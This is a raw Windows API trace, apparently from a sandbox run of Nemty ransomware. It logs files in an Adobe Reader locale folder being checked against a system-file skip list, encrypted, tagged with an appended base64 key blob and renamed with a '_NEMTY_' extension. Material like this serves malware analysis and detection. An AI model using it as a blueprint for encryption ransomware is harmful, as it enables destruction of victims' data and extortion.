[0184.443] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Checkers.SVE", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0184.443] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Checkers.SVE", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Checkers.SVE", lpUsedDefaultChar=0x0) returned 12 [0184.443] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0184.443] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Checkers.SVE", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0184.443] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Checkers.SVE", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Checkers.SVE", lpUsedDefaultChar=0x0) returned 12 [0184.443] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0184.443] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0184.443] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0184.443] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Checkers.SVE", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0184.443] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Checkers.SVE", cchWideChar=12, lpMultiByteStr=0x653e8e0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Checkers.SVE", lpUsedDefaultChar=0x0) returned 12 [0184.443] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0184.443] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0184.444] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Checkers.SVE", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0184.444] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Checkers.SVE", cchWideChar=12, lpMultiByteStr=0x653e918, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Checkers.SVE", lpUsedDefaultChar=0x0) returned 12 [0184.444] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0184.444] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0184.444] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0184.444] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0184.444] Sleep (dwMilliseconds=0x5) [0184.452] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x2196c6b0, dwHighDateTime=0x1d561e8)) [0184.452] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x2196c6b0, dwHighDateTime=0x1d561e8)) [0184.452] GetLastError () returned 0x0 [0184.452] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0184.452] GetLastError () returned 0x0 [0184.452] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0184.452] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0184.452] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0184.452] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0184.452] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0184.453] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0184.453] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0184.453] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="RwMxXN05oF6Z5kN2R0p/jVM0LasWu4FHAGcqAICMlt9P31eMfoH7TwE1SPI2H3Mi\r\nXBOtz9GpIwbwSAsZLiXJQ92GcejsoL5xU5OLpu73ahL1KkKFCe6xqJRxKcLaINxJ\r\nsc/ApToEZ4LDZIgGU2ZHgBtwWJ/ixE67N6LKnbQLE3/b66vOH8QYPFIOMUy1UbLW\r\n8dFC96HhVMCORCBolg8RiDgm2NtNe5IvrAGG/7FqV2YxQEDGo3ub6eOiptVjXOC7\r\nF7/n8tYNB+cbLG6lxchuzYkNVtJ2SJTYRIvNZQEKKX/UQ8LnjQdCQWeoR1lzF5aN\r\nWePb3AWj0SyGiC1JNOmTKQ==\r\n", pcchString=0x653e5dc) returned 1 [0184.453] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0184.453] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0184.453] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0184.453] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0184.453] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0184.453] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0184.453] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\Checkers.SVE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sv_se\\checkers.sve"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0184.454] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=120320) returned 1 [0184.454] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6352c48 [0184.454] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0184.454] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x19000, lpOverlapped=0x0) returned 1 [0184.463] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0184.463] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x19000, lpOverlapped=0x0) returned 1 [0184.463] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0184.463] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=120320, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1d600 [0184.463] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0184.463] CloseHandle (hObject=0x2e8) returned 1 [0184.463] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0184.463] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0184.463] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0184.463] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0184.463] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0184.463] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0184.463] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0184.463] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0184.464] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0184.464] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0184.464] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\Checkers.SVE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sv_se\\checkers.sve"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\Checkers.SVE._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sv_se\\checkers.sve._nemty_kgobjgd_")) returned 1 [0184.464] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0184.464] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0184.464] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0184.464] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0184.464] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0184.464] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0184.464] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0184.464] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0184.464] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82c16540, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1f200, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="DigSig.SVE", cAlternateFileName="")) returned 1 [0184.464] lstrcmpiW (lpString1="DigSig.SVE", lpString2=".") returned 1 [0184.464] lstrcmpiW (lpString1="DigSig.SVE", lpString2="..") returned 1 [0184.464] lstrcmpiW (lpString1="DigSig.SVE", lpString2="...") returned 1 [0184.464] lstrcmpiW (lpString1="DigSig.SVE", lpString2="windows") returned -1 [0184.464] lstrcmpiW (lpString1="DigSig.SVE", lpString2="$RECYCLE.BIN") returned 1 [0184.465] lstrcmpiW (lpString1="DigSig.SVE", lpString2="rsa") returned -1 [0184.465] lstrcmpiW (lpString1="DigSig.SVE", lpString2="NTDETECT.COM") returned -1 [0184.465] lstrcmpiW (lpString1="DigSig.SVE", lpString2="ntldr") returned -1 [0184.465] lstrcmpiW (lpString1="DigSig.SVE", lpString2="MSDOS.SYS") returned -1 [0184.465] lstrcmpiW (lpString1="DigSig.SVE", lpString2="IO.SYS") returned -1 [0184.465] lstrcmpiW (lpString1="DigSig.SVE", lpString2="boot.ini") returned 1 [0184.465] lstrcmpiW (lpString1="DigSig.SVE", lpString2="boot.ini") returned 1 [0184.465] lstrcmpiW (lpString1="DigSig.SVE", lpString2="AUTOEXEC.BAT") returned 1 [0184.465] lstrcmpiW (lpString1="DigSig.SVE", lpString2="ntuser.dat") returned -1 [0184.465] lstrcmpiW (lpString1="DigSig.SVE", lpString2="desktop.ini") returned 1 [0184.465] lstrcmpiW (lpString1="DigSig.SVE", lpString2="CONFIG.SYS") returned 1 [0184.465] lstrcmpiW (lpString1="DigSig.SVE", lpString2="RECYCLER") returned -1 [0184.465] lstrcmpiW (lpString1="DigSig.SVE", lpString2="BOOTSECT.BAK") returned 1 [0184.465] lstrcmpiW (lpString1="DigSig.SVE", lpString2="bootmgr") returned 1 [0184.465] lstrcmpiW (lpString1="DigSig.SVE", lpString2="programdata") returned -1 [0184.465] lstrcmpiW (lpString1="DigSig.SVE", lpString2="appdata") returned 1 [0184.465] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0184.465] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DigSig.SVE", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0184.465] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DigSig.SVE", cchWideChar=10, lpMultiByteStr=0x653e890, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DigSig.SVE", lpUsedDefaultChar=0x0) returned 10 [0184.465] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0184.465] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DigSig.SVE", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0184.465] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DigSig.SVE", cchWideChar=10, lpMultiByteStr=0x653e890, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DigSig.SVE", lpUsedDefaultChar=0x0) returned 10 [0184.465] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0184.465] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0184.465] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0184.465] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DigSig.SVE", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0184.465] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DigSig.SVE", cchWideChar=10, lpMultiByteStr=0x653e8e0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DigSig.SVE", lpUsedDefaultChar=0x0) returned 10 [0184.465] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0184.465] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0184.465] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DigSig.SVE", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0184.465] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DigSig.SVE", cchWideChar=10, lpMultiByteStr=0x653e918, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DigSig.SVE", lpUsedDefaultChar=0x0) returned 10 [0184.466] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0184.466] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0184.466] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0184.466] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0184.466] Sleep (dwMilliseconds=0x5) [0184.468] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x21992810, dwHighDateTime=0x1d561e8)) [0184.468] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x21992810, dwHighDateTime=0x1d561e8)) [0184.468] GetLastError () returned 0x0 [0184.468] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0184.468] GetLastError () returned 0x0 [0184.468] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0184.468] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0184.468] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0184.468] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0184.468] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0184.468] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0184.468] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0184.468] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e5dc | out: pszString="eGrG+Cf0PsTCYcY9OuyXsPO8tD4ED/kTKtZ7f9xYMH695PO0FMdCx/ZgO8jWoyzb\r\nAnFLShlx7RYEVDuU/XHTJ2mjsXsjZ7HfimaT1QIwf3Tbct00sbqho/owAgRId0jg\r\nM1kHNTEIT9slnbA/lgojG/bBdEmIwCNI82Bpy1yj2wOPAYdN92OqWr0GAMWdhO7N\r\n2JYq0fdGiYSNi0nSlnQXKgnjaK4xkQ7RsaW5iZ2ACLPUCRauX+d3yTkwV1PVeJWH\r\nzpB+RpwLPK2nyz9u8Q2+++11b/PvwzsEYyR/OBkauv04FVzqXBTEZcuL+73mfQlB\r\nazZAZsxJNglXEzkf0sVDMw==\r\n", pcchString=0x653e5dc) returned 1 [0184.468] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0184.469] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0184.469] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0184.469] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0184.469] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0184.469] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0184.469] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\DigSig.SVE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sv_se\\digsig.sve"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0184.470] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=127488) returned 1 [0184.470] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6352c48 [0184.470] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0184.470] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x19000, lpOverlapped=0x0) returned 1 [0184.478] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0184.478] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x19000, lpOverlapped=0x0) returned 1 [0184.479] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0184.479] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=127488, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1f200 [0184.479] WriteFile (in: hFile=0x2e8, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0184.479] CloseHandle (hObject=0x2e8) returned 1 [0184.479] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0184.479] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0184.479] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0184.479] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0184.479] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0184.479] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0184.479] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0184.479] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63401b8 [0184.479] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0184.479] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0184.479] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\DigSig.SVE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sv_se\\digsig.sve"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\DigSig.SVE._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sv_se\\digsig.sve._nemty_kgobjgd_")) returned 1 [0184.480] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0184.480] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0184.480] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0184.480] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0184.480] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0184.480] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0184.480] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0184.480] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0184.480] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82c3c6a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4800, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="DVA.SVE", cAlternateFileName="")) returned 1 [0184.480] lstrcmpiW (lpString1="DVA.SVE", lpString2=".") returned 1 [0184.480] lstrcmpiW (lpString1="DVA.SVE", lpString2="..") returned 1 [0184.480] lstrcmpiW (lpString1="DVA.SVE", lpString2="...") returned 1 [0184.480] lstrcmpiW (lpString1="DVA.SVE", lpString2="windows") returned -1 [0184.480] lstrcmpiW (lpString1="DVA.SVE", lpString2="$RECYCLE.BIN") returned 1 [0184.480] lstrcmpiW (lpString1="DVA.SVE", lpString2="rsa") returned -1 [0184.480] lstrcmpiW (lpString1="DVA.SVE", lpString2="NTDETECT.COM") returned -1 [0184.480] lstrcmpiW (lpString1="DVA.SVE", lpString2="ntldr") returned -1 [0184.480] lstrcmpiW (lpString1="DVA.SVE", lpString2="MSDOS.SYS") returned -1 [0184.480] lstrcmpiW (lpString1="DVA.SVE", lpString2="IO.SYS") returned -1 [0184.480] lstrcmpiW (lpString1="DVA.SVE", lpString2="boot.ini") returned 1 